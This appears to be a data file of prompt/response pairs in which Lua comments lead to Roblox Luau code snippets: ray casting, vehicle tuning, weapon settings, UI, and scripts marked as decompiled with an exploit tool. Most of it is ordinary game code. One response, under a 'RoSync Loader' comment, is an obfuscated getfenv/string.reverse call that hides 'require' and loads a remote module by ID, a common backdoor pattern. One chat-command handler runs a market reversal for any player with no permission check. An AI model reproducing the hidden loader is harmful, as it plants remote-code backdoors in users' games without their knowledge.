Prompt: -- Ctor

Response:
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast
	if typeof(velocity) == "number" then
		velocity = direction.Unit * velocity
	end

	if (castDataPacket.HighFidelitySegmentSize <= 0) then
		error("Cannot set FastCastBehavior.HighFidelitySegmentSize <= 0!", 0)
	end

	-- Basic setup
	local cast = {
		Caster = caster,

		-- Data that keeps track of what's going on as well as edits we might make during runtime.
		StateInfo = {
			UpdateConnection = nil,
			Paused = false,
			TotalRuntime = 0,
			DistanceCovered = 0,
			HighFidelitySegmentSize = castDataPacket.HighFidelitySegmentSize,
			HighFidelityBehavior = castDataPacket.HighFidelityBehavior,
			IsActivelySimulatingPierce = false,
			IsActivelyResimulating = false,
			CancelHighResCast = false,
			Trajectories = {
				{
					StartTime = 0,
					EndTime = -1,
					Origin = origin,
					InitialVelocity = velocity,
					Acceleration = castDataPacket.Acceleration
				}
			}
		},

		-- Information pertaining to actual raycasting.
		RayInfo = {
			Parameters = castDataPacket.RaycastParams,
			WorldRoot = workspace,
			MaxDistance = castDataPacket.MaxDistance or 1000,
			CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, -- This is intended. We clone it a smidge of the way down.
			CanPierceCallback = castDataPacket.CanPierceFunction
		},

		UserData = {}
	}

	if cast.StateInfo.HighFidelityBehavior == 2 then
		cast.StateInfo.HighFidelityBehavior = 3
	end

	if cast.RayInfo.Parameters ~= nil then
		cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters)
	else
		cast.RayInfo.Parameters = RaycastParams.new()
	end

	local usingProvider = false
	if castDataPacket.CosmeticBulletProvider == nil then
		-- The provider is nil. Use a cosmetic object clone.
		if cast.RayInfo.CosmeticBulletObject ~= nil then
			cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone()
			cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
			cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer
		end
	else
		-- The provider is not nil.
		-- Is it what we want?
		if typeof(castDataPacket.CosmeticBulletProvider) == "PartCache" then
			-- this modded version of typeof is implemented up top.
			-- Aside from that, yes, it's a part cache. Good to go!

			if cast.RayInfo.CosmeticBulletObject ~= nil then
				-- They also set the template. Not good. Warn + clear this up.
				warn("Do not define FastCastBehavior.CosmeticBulletTemplate and FastCastBehavior.CosmeticBulletProvider at the same time! The provider will be used, and CosmeticBulletTemplate will be set to nil.")
				cast.RayInfo.CosmeticBulletObject = nil
				castDataPacket.CosmeticBulletTemplate = nil
			end

			cast.RayInfo.CosmeticBulletObject = castDataPacket.CosmeticBulletProvider:GetPart()
			cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
			usingProvider = true
		else
			warn("FastCastBehavior.CosmeticBulletProvider was not an instance of the PartCache module (an external/separate model)! Are you inputting an instance created via PartCache.new? If so, are you on the latest version of PartCache? Setting FastCastBehavior.CosmeticBulletProvider to nil.")
			castDataPacket.CosmeticBulletProvider = nil
		end
	end

	local targetContainer: Instance;
	if usingProvider then
		targetContainer = castDataPacket.CosmeticBulletProvider.CurrentCacheParent
	else
		targetContainer = castDataPacket.CosmeticBulletContainer
	end

	if castDataPacket.AutoIgnoreContainer == true and targetContainer ~= nil then
		local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances
		if table.find(ignoreList, targetContainer) == nil then
			table.insert(ignoreList, targetContainer)
			cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList
		end
	end

	local event
	if RunService:IsClient() then
		event = RunService.RenderStepped
	else
		event = RunService.Heartbeat
	end

	setmetatable(cast, ActiveCastStatic)

	cast.StateInfo.UpdateConnection = event:Connect(function (delta)
		if cast.StateInfo.Paused then return end

		PrintDebug("Casting for frame.")
		local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories]
		if (cast.StateInfo.HighFidelityBehavior == 3 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize > 0) then

			local timeAtStart = tick()

			if cast.StateInfo.IsActivelyResimulating then
				cast:Terminate()
				error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.")
			end

			cast.StateInfo.IsActivelyResimulating = true

			-- Actually want to calculate this early to find displacement
			local origin = latestTrajectory.Origin
			local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
			local initialVelocity = latestTrajectory.InitialVelocity
			local acceleration = latestTrajectory.Acceleration

			local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
			local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
			local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime

			cast.StateInfo.TotalRuntime += delta

			-- Recalculate this.
			totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime

			local currentPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
			local currentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
			local totalDisplacement = currentPoint - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now.

			local rayDir = totalDisplacement.Unit * currentVelocity.Magnitude * delta
			local targetWorldRoot = cast.RayInfo.WorldRoot

			local function castFunction(lastPoint, rayDir, params)
				local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, params)

				if resultOfCast then
					local hitInstance = resultOfCast.Instance

					if hitInstance.Parent:IsA("Accoutrement") then
						table.insert(params.FilterDescendantsInstances, hitInstance)
						resultOfCast = nil
					end

					if hitInstance.CanCollide == false then
						table.insert(params.FilterDescendantsInstances, hitInstance)
						resultOfCast = nil
					end

					if hitInstance.CanCollide == false and hitInstance.Transparency > 0.2 then
						table.insert(params.FilterDescendantsInstances, hitInstance)
						resultOfCast = nil
					end
				end

				return resultOfCast
			end

			local resultOfCast = castFunction(lastPoint, rayDir, cast.RayInfo.Parameters)

			local point = currentPoint

			if (resultOfCast ~= nil) then
				point = resultOfCast.Position
			end

			local rayDisplacement = (point - lastPoint).Magnitude

			-- Now undo this. The line below in the for loop will add this time back gradually.
			cast.StateInfo.TotalRuntime -= delta

			-- And now that we have displacement, we can calculate segment size.
			local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments
			local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments
			if (numSegmentsReal == 0) then
				numSegmentsReal = 1
			end

			local timeIncrement = delta / numSegmentsReal

			for segmentIndex = 1, numSegmentsReal do
				if getmetatable(cast) == nil then return end -- Could have been disposed.
				if cast.StateInfo.CancelHighResCast then
					cast.StateInfo.CancelHighResCast = false
					break
				end
				PrintDebug("[" .. segmentIndex .. "] Subcast of time increment " .. timeIncrement)
				SimulateCast(cast, timeIncrement, true)
			end

			if getmetatable(cast) == nil then return end -- Could have been disposed.
			cast.StateInfo.IsActivelyResimulating = false

			if (tick() - timeAtStart) > 0.016 * 5 then
				warn("Extreme cast lag encountered! Consider increasing HighFidelitySegmentSize.")
			end

		else
			SimulateCast(cast, delta, false)
		end
	end)

	return cast
end

function ActiveCastStatic.SetStaticFastCastReference(ref)
	FastCast = ref
end


Response:
	,FastReload = true					--- Automatically operates the bolt on reload if needed
	,SlideLock = false
	,MoveBolt = false
	,BoltLock = false
	,CanBreachDoor = true
	,CanBreak = true					--- Weapon can jam?
	,JamChance = 1000					--- This old piece of brick doesn't work fine >;c
	,IncludeChamberedBullet = true		--- Include the chambered bullet on next reload
	,Chambered = false					--- Start with the gun chambered?
	,LauncherReady = false				--- Start with the GL ready?
	,CanCheckMag = false				--- You can check the magazine
	,ArcadeMode = false					--- You can see the bullets left in magazine
	,RainbowMode = false				--- Operation: Party Time xD
	,ModoTreino = false					--- Surrender enemies instead of killing them
	,GunSize = 5
	,GunFOVReduction = 5.5

	,BoltExtend = Vector3.new(0, 0, 0.4)
	,SlideExtend = Vector3.new(0, 0, 0.2)


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= false		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 1500		-- Front brake force
	Tune.RBrakeForce	= 1000		-- Rear brake force
	Tune.PBrakeForce	= 5000		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]


Prompt: -- Define the jump duration

Response: local jumpDuration = 0.1


Prompt: --@Outline Araç durdurma

Response:
		wait(.2)
		if child.Name ~= "Rev" then
		car.Body.MainPart.Anchored = true
		end
	end)


Prompt: --[[Run]]

Response:
	--Print Version
	local ver=require(car["A-Chassis Tune"].README)
	print("Novena: AC6T Loaded - Build "..ver)

	--Runtime Loops

	-- ~60 c/s
	game["Run Service"].Stepped:connect(function()
		--Steering
		Steering()

		--Power
		Engine()

		--Update External Values
		_IsOn = script.Parent.IsOn.Value
		_InControls = script.Parent.ControlsOpen.Value
		script.Parent.Values.Gear.Value = _CGear
		script.Parent.Values.RPM.Value = _RPM
		script.Parent.Values.Boost.Value = (_Boost/2)*_TPsi
		script.Parent.Values.Horsepower.Value = _HP
		script.Parent.Values.HpNatural.Value = _NH
		script.Parent.Values.HpBoosted.Value = _BH*(_Boost/2)
		script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
		script.Parent.Values.TqNatural.Value = _NT
		script.Parent.Values.TqBoosted.Value = _BT*(_Boost/2)
		script.Parent.Values.TransmissionMode.Value = _TMode
		script.Parent.Values.Throttle.Value = _GThrot*_GThrotShift
		script.Parent.Values.Brake.Value = _GBrake
		script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
		script.Parent.Values.SteerT.Value = _GSteerT
		script.Parent.Values.PBrake.Value = _PBrake
		script.Parent.Values.TCS.Value = _TCS
		script.Parent.Values.TCSActive.Value = _TCSActive
		script.Parent.Values.TCSAmt.Value = 1-_TCSAmt
		script.Parent.Values.ABS.Value = _ABS
		script.Parent.Values.ABSActive.Value = _ABSActive
		script.Parent.Values.MouseSteerOn.Value = _MSteer
		script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
	end)

	--15 c/s
	while wait(.0667) do
		--Automatic Transmission
		if _TMode == "Auto" then Auto() end

		--Flip
		if _Tune.AutoFlip then Flip() end
	end


Prompt:
-- Creates a lazy object-mirror for the provided part.
-- This is used to make the Head visible in first person.

Response:
function FpsCamera:AddHeadMirror(desc)
	if desc:IsA("BasePart") and self:IsValidPartToModify(desc) then
		local mirror = desc:Clone()
		mirror:ClearAllChildren()

		mirror.Locked = true
		mirror.Anchored = true
		mirror.CanCollide = false
		mirror.Parent = self.MirrorBin

		local function onChildAdded(child)
			local prop

			if child:IsA("DataModelMesh") then
				prop = "Scale"
			elseif child:IsA("Decal") then
				prop = "Transparency"
			end

			if prop then
				local copy = child:Clone()
				copy.Parent = mirror

				self:MirrorProperty(child, copy, prop)
			end
		end

		for _,child in pairs(desc:GetChildren()) do
			onChildAdded(child)
		end

		self.HeadMirrors[desc] = mirror
		self:MirrorProperty(desc, mirror, "Transparency")

		desc.ChildAdded:Connect(onChildAdded)
	end
end


Prompt:
--1: It has a HumanoidRootPart
--2: All parts are unanchored
--3: It has a Humanoid


Prompt:
----------------------------------
------------FUNCTIONS-------------
----------------------------------

Response:
letterNoteMap = "1!2@34$5%6^78*9(0qQwWeErtTyYuiIoOpPasSdDfgGhHjJklLzZxcCvVbBnm"
function LetterToNote(key, shift, ctrl)
	local note = letterNoteMap:find(string.char(key), 1, true)
	if note then
		return note + Transposition.Value + (shift and 1 or ctrl and -1 or 0)
	end
end

function KeyDown(Object)
	if TextBoxFocused then
		return
	end
	local key = Object.KeyCode.Value
	if key >= 97 and key <= 122 or key >= 48 and key <= 57 then
		local note = LetterToNote(key, (InputService:IsKeyDown(303) or InputService:IsKeyDown(304)) ~= ShiftLock, InputService:IsKeyDown(305) or InputService:IsKeyDown(306))
		if note then
			do
				local conn
				conn = InputService.InputEnded:connect(function(obj)
					if obj.KeyCode.Value == key then
						conn:disconnect()
					end
				end)
				PlayNoteClient(note)
			end
		else
			PlayNoteClient(note)
		end
	elseif key == 8 then
		Abort()
	elseif key == 32 then
		ToggleSheets()
	elseif key == 13 then
		ToggleCaps()
	elseif key == 274 then
		Transpose(-1)
	elseif key == 273 then
		Transpose(1)
	elseif key == 275 then
		VolumeChange(0.1)
	elseif key == 276 then
		VolumeChange(-0.1)
	end
end

function Input(Object)
	local type = Object.UserInputType.Name
	local state = Object.UserInputState.Name -- in case I ever add input types
	if type == "Keyboard" then
		if state == "Begin" then
			if FocusLost then -- this is so when enter is pressed in a textbox, it doesn't toggle caps
				FocusLost = false
				return
			end
			KeyDown(Object)
		end
	end
end

function TextFocus()
	TextBoxFocused = true
end
function TextUnfocus()
	FocusLost = true
	TextBoxFocused = false
end


Prompt:
--[[
game.Players.PlayerAdded:Connect(reverseGlobalMarket)
for _, player in ipairs(game.Players:GetPlayers()) do
	reverseGlobalMarket(player)
end
]]

Response:
wait(3)
for _, player in ipairs(game.Players:GetPlayers()) do
	player.Chatted:Connect(function(message)
		if message == "undo" then
			reverseGlobalMarket(player)
		end
	end)
end


Prompt: -- Time it takes to reload weapon

Response: local ReloadTime = 2.1


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response: return require(game:GetService("ReplicatedStorage").Packages.Fusion).State();


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
return {
	Name = "version",
	Args = {},
	Description = "Shows the current version of Cmdr",
	Group = "DefaultDebug",
	Run = function()
		return ("Cmdr Version %s"):format("v1.9.0");
	end
};


Prompt: --[[Dependencies]]

Response:
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local UserInputService = game:GetService("UserInputService")
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])


Prompt:
--[[
	Component that handles the ship's windows. This object is attached to rooms, and will affect the room's state should the window become breached.
]]

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CollectionService = game:GetService("CollectionService")

local Constants = require(ReplicatedStorage.Source.Common.Constants)

local remotesFolder = ReplicatedStorage.Remotes
local CreateWindowMarker = remotesFolder.CreateWindowMarker
local DestroyMarker = remotesFolder.DestroyMarker

local Window = {}


Prompt: --Plot Current Turbocharger Horsepower

Response:
function GetTCurve(x,gear)
	local hp=(math.max(CurveT(x)/(PeakCurveT/HP_T),0))*100
	return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end


Prompt: -- This will inject all types into this context.

Response:
local TypeDefs = require(script.Parent.TypeDefinitions)

type CanPierceFunction = TypeDefs.CanPierceFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast

local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Debris = game:GetService("Debris")

local ClientSettings = ReplicatedStorage:WaitForChild("ClientSettings")

local typeof = require(script.Parent.TypeMarshaller)


Prompt:
--You can copy and paste script.Parent.BrickColor = BrickColor.new("Colorname")
--You can copy and paste wait(0) on the bottom on the script


Prompt: --[[ Last synced 10/14/2020 09:40 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)


Prompt: --// Animations

Response:
local L_168_

function IdleAnim(L_341_arg1)
	L_24_.IdleAnim(L_3_, L_168_, {
		L_45_,
		L_46_,
		L_47_
	});
end;

function EquipAnim(L_342_arg1)
	L_24_.EquipAnim(L_3_, L_168_, {
		L_45_
	});
end;

function UnequipAnim(L_343_arg1)
	L_24_.UnequipAnim(L_3_, L_168_, {
		L_45_
	});
end;

function FireModeAnim(L_344_arg1)
	L_24_.FireModeAnim(L_3_, L_168_, {
		L_45_,
		L_47_,
		L_46_,
		L_58_
	});
end

function ReloadAnim(L_345_arg1)
	L_24_.ReloadAnim(L_3_, L_168_, {
		L_45_,
		L_46_,
		L_47_,
		L_61_,
		L_3_:WaitForChild('Left Arm'),
		L_58_,
		L_49_,
		L_3_:WaitForChild('Right Arm'),
		L_43_
	});
end;

function BoltingBackAnim(L_346_arg1)
	L_24_.BoltingBackAnim(L_3_, L_168_, {
		L_49_
	});
end

function BoltingForwardAnim(L_347_arg1)
	L_24_.BoltingForwardAnim(L_3_, L_168_, {
		L_49_
	});
end

function BoltingForwardAnim(L_348_arg1)
	L_24_.BoltingForwardAnim(L_3_, L_168_, {
		L_49_
	});
end

function BoltBackAnim(L_349_arg1)
	L_24_.BoltBackAnim(L_3_, L_168_, {
		L_49_,
		L_47_,
		L_46_,
		L_45_,
		L_62_
	});
end

function BoltForwardAnim(L_350_arg1)
	L_24_.BoltForwardAnim(L_3_, L_168_, {
		L_49_,
		L_47_,
		L_46_,
		L_45_,
		L_62_
	});
end

function InspectAnim(L_351_arg1)
	L_24_.InspectAnim(L_3_, L_168_, {
		L_47_,
		L_46_
	});
end

function nadeReload(L_352_arg1)
	L_24_.nadeReload(L_3_, L_168_, {
		L_46_,
		L_47_
	});
end

function AttachAnim(L_353_arg1)
	L_24_.AttachAnim(L_3_, L_168_, {
		L_46_,
		L_47_
	});
end

function PatrolAnim(L_354_arg1)
	L_24_.PatrolAnim(L_3_, L_168_, {
		L_46_,
		L_47_
	});
end


Prompt: -- add the arms

Response:
table.insert(armparts, character:WaitForChild("Right Arm"))
table.insert(armparts, character:WaitForChild("Left Arm"))


Prompt:
--[[
	Calling setState during certain lifecycle allowed methods has the potential
	to create an infinitely updating component. Rather than time out, we exit
	with an error if an unreasonable number of self-triggering updates occur
]]

Response:
local MAX_PENDING_UPDATES = 100

local InternalData = Symbol.named("InternalData")

local componentMissingRenderMessage = [[
The component %q is missing the `render` method.
`render` must be defined when creating a Roact component!]]

local tooManyUpdatesMessage = [[
The component %q has reached the setState update recursion limit.
When using `setState` in `didUpdate`, make sure that it won't repeat infinitely!]]

local componentClassMetatable = {}

function componentClassMetatable:__tostring()
	return self.__componentName
end

local Component = {}
setmetatable(Component, componentClassMetatable)

Component[Type] = Type.StatefulComponentClass
Component.__index = Component
Component.__componentName = "Component"


Prompt:
----------------------------------
-----------CONNECTIONS------------
----------------------------------

Response:
HumanoidChangedConnection = nil
HumanoidDiedConnection = nil

function MakeHumanoidConnections()
	local character = Player.Character
	if character then
		local humanoid = character:FindFirstChild("Humanoid")
		if humanoid then
			HumanoidChangedConnection = humanoid.Changed:connect(function(property)
				HumanoidChanged(humanoid, property)
			end)
			HumanoidDiedConnection = humanoid.Died:connect(HumanoidDied)
		end
	end
end
function BreakHumanoidConnections()
	HumanoidChangedConnection:disconnect()
	HumanoidDiedConnection:disconnect()
end


Prompt:
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump
-- rather than sustained jumping. This is only to preserve the current behavior through the refactor.

Response:
function DynamicThumbstick:GetIsJumping()
	local wasJumping = self.isJumping
	self.isJumping = false
	return wasJumping
end

function DynamicThumbstick:Enable(enable: boolean?, uiParentFrame): boolean?
	if enable == nil then return false end			-- If nil, return false (invalid argument)
	enable = enable and true or false				-- Force anything non-nil to boolean before comparison
	if self.enabled == enable then return true end	-- If no state change, return true indicating already in requested state

	if enable then
		-- Enable
		if not self.thumbstickFrame then
			self:Create(uiParentFrame)
		end

		self:BindContextActions()
	else
		if FFlagUserDynamicThumbstickMoveOverButtons then
			self:UnbindContextActions()
		else
			ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME)
		end

		-- Disable
		self:OnInputEnded() -- Cleanup
	end

	self.enabled = enable
	self.thumbstickFrame.Visible = enable
	return nil
end


Prompt:
--[[
	Returns all objects that cause the filter function to return true.
]]

Response:
function Registry:getFiltered(filter)
	local output = {}

	for key, object in pairs(self.objects) do
		if filter(object, key) then
			output[key] = object
		end
	end

	return output
end


Prompt: --GreenEgg--

Response:
Event.Hitbox.Touched:Connect(function(hit)
	if hit.Parent:IsA("Tool") and hit.Parent.Name == ToolRequired then
		if game.ReplicatedStorage.ItemSwitching.Value == true then
			hit.Parent:Destroy()
		end
		Event.LocksLeft.Value = Event.LocksLeft.Value - 1
		Event.Robot.Transparency = 0
		Event.TeleportEffectPad.Insert:Play()
		Event.Hitbox.RobotHint:Destroy()
		script.Disabled = true
	end
end)

Event.Hitbox.ClickDetector.MouseClick:Connect(function(plr)
	if plr.Backpack:FindFirstChild(ToolRequired) then
		if game.ReplicatedStorage.ItemSwitching.Value == true then
			plr.Backpack:FindFirstChild(ToolRequired):Destroy()
		end
		Event.LocksLeft.Value = Event.LocksLeft.Value - 1
		Event.Robot.Transparency = 0
		Event.TeleportEffectPad.Insert:Play()
		Event.Hitbox.RobotHint:Destroy()
		script.Disabled = true
	end
end)


Prompt: --local roPrompts = require(game.ReplicatedStorage.roPrompts)

Response:
ReplicatedStorage.BuyEvent.OnServerEvent:Connect(function(player, toolname)

	--local prompt = roPrompts.New({
	--	Type = roPrompts.PromptType.Confirm,
	--	Title = 'Confirm Purchase',
	--	Description = 'Are you sure you would like to buy this tool?',
	--	PrimaryButton = 'Confirm',
	--	SecondaryButton = 'Cancel'
	--})

	--roPrompts:PromptPlayer(player, prompt)

	--if roPrompts:PromptPlayer(player, prompt) then

		local Setting = ToolSettings[toolname]

		if not Setting then return end

		local Price = (player.MembershipType == Premium and Setting.PremiumPrice) or Setting.Price

		local Cash = player.leaderstats.Cash

		local Backpack = player:WaitForChild("Backpack")

		if Cash.Value >= Price then
			Cash.Value -= Price
			Setting.Tool:Clone().Parent = Backpack
		end

	--end

end)


Prompt: --// SS Controls - remastered for 4/2020. it's been long enough

Response:
wait(.5)
local player = game.Players.LocalPlayer
local HB = script.Parent.HB
local HUB = HB.HUB
local radio = HB.Radio
local Camera = game.Workspace.CurrentCamera
local cam = script.Parent.nxtcam.Value
local carSeat = script.Parent.CarSeat.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local windows = false
local handler = carSeat:WaitForChild('Filter')
local ts = game:GetService("TweenService")

local ctrl = false
local dd = false
local mph = (10/12) * (60/88)
local stt = 0
local st = false

local mode = 0


Prompt: --// Positioning

Response:
	RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);
	LeftArmPos = CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);
	GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);

	}

return Settings


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
service = nil;
Routine = nil;
local function u1(p1)
	if p1 then
		return "Yes";
	end;
	return "No";
end;
return function(p2)
	local l__Service__1 = client.Service;
	local l__Target__2 = p2.Target;
	local v3 = client.UI.Make("Window", {
		Name = "Profile_" .. l__Target__2.UserId,
		Title = "Profile (@" .. l__Target__2.Name .. ")",
		Icon = client.MatIcons["Account circle"],
		Size = { 400, 400 },
		AllowMultiple = false
	});
	local v4 = v3:Add("TabFrame", {
		Size = UDim2.new(1, -10, 1, -10),
		Position = UDim2.new(0, 5, 0, 5)
	});
	local v5 = v4:NewTab("General", {
		Text = "General"
	});
	local v6 = v4:NewTab("Friends", {
		Text = "Friends"
	});
	local v7 = v4:NewTab("Groups", {
		Text = "Groups"
	});
	local v8 = v4:NewTab("Game", {
		Text = "Game"
	});
	local v9 = l__Target__2:IsFriendsWith(l__Service__1.Players.LocalPlayer.UserId);
	if l__Target__2 ~= l__Service__1.Players.LocalPlayer then
		local v10 = {
			Text = ""
		};
		if v9 then
			local v11 = "Unfriend";
		else
			v11 = "Add friend";
		end;
		v10.ToolTip = v11;
		if v9 then
			local v12 = function()
				l__Service__1.StarterGui:SetCore("PromptUnfriend", l__Target__2);
			end;
			if not v12 then
				v12 = function()
					l__Service__1.StarterGui:SetCore("PromptSendFriendRequest", l__Target__2);
				end;
			end;
		else
			v12 = function()
				l__Service__1.StarterGui:SetCore("PromptSendFriendRequest", l__Target__2);
			end;
		end;
		v10.OnClick = v12;
		v3:AddTitleButton(v10):Add("ImageLabel", {
			Size = UDim2.new(0, 20, 0, 20),
			Position = UDim2.new(0, 5, 0, 0),
			Image = v9 and client.MatIcons["Person remove"] or client.MatIcons["Person add"],
			BackgroundTransparency = 1
		});
	end;
	local v13 = {
		Text = "",
		ToolTip = "View avatar"
	};
	function v13.OnClick()
		l__Service__1.GuiService:InspectPlayerFromUserId(l__Target__2.UserId);
	end;
	v3:AddTitleButton(v13):Add("ImageLabel", {
		Size = UDim2.new(0, 18, 0, 18),
		Position = UDim2.new(0, 6, 0, 1),
		Image = client.MatIcons["Person search"],
		BackgroundTransparency = 1
	});
	v5:Add("ImageLabel", {
		Size = UDim2.new(0, 120, 0, 120),
		Position = UDim2.new(0, 5, 0, 5),
		Image = l__Service__1.Players:GetUserThumbnailAsync(l__Target__2.UserId, Enum.ThumbnailType.AvatarBust, Enum.ThumbnailSize.Size150x150)
	});
	for v14, v15 in ipairs({ { "Display Name", l__Target__2.DisplayName, "The player's custom display name" }, { "Username", l__Target__2.Name, "The player's unique Roblox username" }, { "User ID", l__Target__2.UserId, "The player's unique Roblox user ID" }, { "Acc. Age", l__Target__2.AccountAge .. " days (" .. string.format("%.2f", l__Target__2.AccountAge / 365) .. " years)", "How long the player has been registered on Roblox" } }) do
		local v16 = {
			Text = "  " .. v15[1] .. ": ",
			ToolTip = v15[3]
		};
		if v14 % 2 == 0 then
			local v17 = 0;
		else
			v17 = 0.2;
		end;
		v16.BackgroundTransparency = v17;
		v16.Size = UDim2.new(1, -135, 0, 30);
		v16.Position = UDim2.new(0, 130, 0, 30 * (v14 - 1) + 5);
		v16.TextXAlignment = "Left";
		v5:Add("TextLabel", v16):Add("TextLabel", {
			Text = v15[2],
			BackgroundTransparency = 1,
			Size = UDim2.new(0, 120, 1, 0),
			Position = UDim2.new(1, -130, 0, 0),
			TextXAlignment = "Right"
		});
	end;
	for v18, v19 in ipairs({ { "Membership", l__Target__2.MembershipType.Name, "The player's Roblox membership type (Premium)" }, { "Safe Chat Enabled", p2.SafeChat, "Does the player have safe chat applied?" }, { "Can Chat", p2.CanChatGet[1] and u1(p2.CanChatGet[2]) or "[Error]", "Does the player's account settings allow them to chat?" } }) do
		local v20 = {
			Text = "  " .. v19[1] .. ": ",
			ToolTip = v19[3]
		};
		if v18 % 2 == 0 then
			local v21 = 0;
		else
			v21 = 0.2;
		end;
		v20.BackgroundTransparency = v21;
		v20.Size = UDim2.new(1, -10, 0, 30);
		v20.Position = UDim2.new(0, 5, 0, 30 * (v18 - 1) + 130);
		v20.TextXAlignment = "Left";
		v5:Add("TextLabel", v20):Add("TextLabel", {
			Text = v19[2],
			BackgroundTransparency = 1,
			Size = UDim2.new(0, 120, 1, 0),
			Position = UDim2.new(1, -130, 0, 0),
			TextXAlignment = "Right"
		});
	end;
	local v22 = 0;
	local v23 = {};
	local v24 = {};
	local v25 = true;
	if l__Target__2.UserId ~= 1237666 then
		v25 = l__Target__2.UserId == 698712377;
	end;
	v24[1] = v25;
	v24[2] = "Adonis Creator [Sceleratis/Davey_Bones]";
	v24[3] = "rbxassetid://6878433601";
	v24[4] = "You're looking at the creator of the Adonis admin system!";
	v23[1] = { p2.IsServerOwner, "Private Server Owner", client.MatIcons.Grade, "User owns the current private server" };
	v23[2] = { p2.IsDonor, "Adonis Donor", "rbxassetid://6877822142", "User has purchased the Adonis donation pass/shirt" };
	v23[3] = { l__Target__2:GetRankInGroup(886423) == 10, "Adonis Contributor (GitHub)", "rbxassetid://6878433601", "User has contributed to the Adonis admin system (see credit list)" };
	v23[4] = { l__Target__2:GetRankInGroup(886423) >= 12, "Adonis Developer", "rbxassetid://6878433601", "User is an official developer of the Adonis admin system" };
	v23[5] = v24;
	v23[6] = { l__Target__2:IsInGroup(1200769) or l__Target__2:IsInGroup(2868472), "ROBLOX Staff", "rbxassetid://6811962259", "User is an official Roblox employee (!)" };
	v23[7] = { l__Target__2:IsInGroup(3514227), "DevForum Member", "rbxassetid://6383940476", "User is a member of the Roblox Developer Forum" };
	for v26, v27 in ipairs(v23) do
		if v27[1] then
			v5:Add("TextLabel", {
				Size = UDim2.new(1, -10, 0, 30),
				Position = UDim2.new(0, 5, 0, 32 * v22 + 225),
				BackgroundTransparency = 0.4,
				Text = v27[2],
				ToolTip = v27[4]
			}):Add("ImageLabel", {
				Image = v27[3],
				BackgroundTransparency = 1,
				Size = UDim2.new(0, 24, 0, 24),
				Position = UDim2.new(0, 4, 0, 3)
			});
			v22 = v22 + 1;
		end;
	end;
	v5:ResizeCanvas(false, true, false, false, 5, 5);
	v3:Ready();
	local u2 = function(p3)
		return coroutine.wrap(function()
			local v28 = 1;
			while true do
				for v29, v30 in ipairs(p3:GetCurrentPage()) do
					coroutine.yield(v30, v28);
				end;
				if p3.IsFinished then
					break;
				end;
				p3:AdvanceToNextPageAsync();
				v28 = v28 + 1;
			end;
		end);
	end;
	local u3 = l__Service__1.Players:GetFriendsAsync(l__Target__2.UserId);
	local u4 = {};
	local u5 = {};
